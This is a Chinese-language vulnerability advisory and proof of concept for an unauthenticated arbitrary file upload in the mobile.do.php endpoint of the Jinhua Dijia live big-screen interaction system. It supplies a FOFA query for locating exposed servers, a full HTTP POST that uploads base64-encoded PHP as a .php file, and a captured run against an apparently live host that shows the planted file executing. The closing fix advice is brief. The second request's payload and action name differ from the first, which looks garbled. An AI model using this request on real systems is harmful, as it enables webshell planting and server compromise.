

金华迪加 现场大屏互动系统 mobile.do.php 任意文件上传漏洞

漏洞描述

金华迪加 现场大屏互动系统 mobile.do.php 存在任意文件上传漏洞，未经身份验证远程攻击者可利用该漏洞代码执行，写入WebShell,进一步控制服务器权限。

影响版本

现场大屏互动系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="/wall/themes/meepo/assets/images/defaultbg.jpg" || title="现场活动大屏幕系统"

POC/EXP：

POST /mobile/mobile.do.php?action=msg_uploadimg HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.8 ,application/signed-exchange;v=b3;q=0.9

Connection: close

filetype=php&imgbase64=PD9waHAgcGhwaW5mbygpO3VubGluayhfX0ZJTEVfXyk7Pz4=

发送请求

强制 HTTPS

历史

数据包扫描

热加载

构造请求

Request

1

POST /mobile/mobile.do.php?action=msg_uploading HTTP/1.1

2

Host:

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36

4

Content-Type: application/x-www-form-urlencoded

5

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

6

Connection: close

7

.

8

filetype=php&imgbase64=PD9waHAgcGhwak5mbygpO3VubGluayhfX0ZJTEVfXykyPz4=

Responses

https

104bytes / 3689ms

美化

渲染

Q

详

1

HTTP/1.1 200 OK

2

Server: nginx

3

Date: Fri, 01 Nov 2024 13:09:58 GMT

4

Content-Type: text/html; charset=utf-8

5

Connection: close

6

Vary: Accept-Encoding

7

Strict-Transport-Security: max-age=31536000

8

Content-Length: 104

9

10

{ "errno": 0, "message": { "picurl": "\\data\\pic\\pic_173046659840571.php", "tip": "\\u53d1\\u9001\\u6210\\u529f" } }

phpinfo()

com/data/pic/pic_173046659840571.php

This program makes use of the Zend Scripting Language Engine:
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies
with Zend Guard Loader v3.3, Copyright (c) 1998-2014, by Zend Technologies

zendengine

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本